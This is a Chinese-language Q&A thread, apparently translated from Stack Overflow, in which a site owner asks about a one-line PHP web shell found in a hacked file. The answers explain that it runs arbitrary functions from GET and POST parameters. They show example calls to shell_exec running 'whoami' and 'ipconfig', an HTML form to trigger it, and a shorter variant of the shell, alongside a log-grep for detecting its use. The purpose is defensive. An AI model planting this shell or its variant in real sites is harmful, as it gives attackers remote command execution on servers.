9

我在我的一个 PHP 文件中发现了黑客留下的一行脚本。它的内容如下:

<?php

($_=@$_GET[2]).@$_($_POST[1]);

?>

任何人都可以就这行代码的作用给出一些提示吗?谢谢

4

3 回答 3

10

由于问题被搁置,我已经将其作为评论发布,现在在这里作为答案:

这是一个 PHP 外壳。如果将其重写为<?php ($_=@$_GET[2]).@$_($_GET[1]); ?>URL ,则会在 shell 上file.php?2=shell_exec&1=whoami执行命令。whoami在您的示例中,一个参数由 POST 传递,一个由 GET 传递。所以调用起来有点困难。

你也可以用它调用其他函数。第一个参数总是函数名,第二个是被调用函数的参数。

显然它在http://h.ackack.net/tiny-php-shell.html ( https://twitter.com/dragosr/status/116759108526415872 ) 上进行了解释,但该网站没有为我加载。

/edit:如果您有权访问服务器日志文件,则可以搜索它们以查看黑客是否使用了此 shell。一个简单egrep "(&|\?)2=.+" logs*的外壳应该可以工作。您只能看到一半的执行命令(只有 GET,而不是 POST),但这可能有助于查看攻击者是否真的使用了他的脚本。

于 2013-10-29T16:26:40.427 回答
8

正如 Reeno 在评论中所说,它就像一个 PHP shell。

解释

  • 将带有键“2”的 GET 变量存储在名为$_. 由于 PHP 的弱类型特性,我们不需要在数字周围加上引号。

    $_=@$_GET[2]
    
  • 将其视为$_可调用函数名并将其$_POST[1]作为第一个参数执行。

    @$_($_POST[1])
    

运算符应禁止@错误记录,请参阅PHP.net:错误控制运算符

两个语句之间的连接运算符实际上并不重要。可以这样重写:

$_=@$_GET[2];
@$_($_POST[1]);

用例

调用任意函数。我不会提及成功攻击的特定 HTTP 标头,但这对于每个(Web)程序员来说应该是相当容易的。

于 2013-10-29T16:27:10.807 回答
6

首先,您必须尽快删除这些行。

此代码用于调用 PHP 函数。举个例子,你的黑客会使用这种形式:

<form method="post" action="http://site.com/page.php?2=shell_exec">
    <input name="1" value="ipconfig -all"/>
    <input type="submit" value="Send"/>
</form>

然后你会得到这个值:

  • $_= $_GET[2]=shell_exec
  • $_POST[1]=ipconfig -all
  • $_($_POST[1])= $_("ipconfig -all")=shell_exec("ipconfig -all")

@在这里禁用错误。


一个更简单的示例是使用此代码:

<?= @$_GET['c'](@$_GET['p']); ?>

通过对http://site.com/page.php?c=shell_exec&p=ipconfig%20-all的简单调用。

于 2013-10-29T16:34:00.897 回答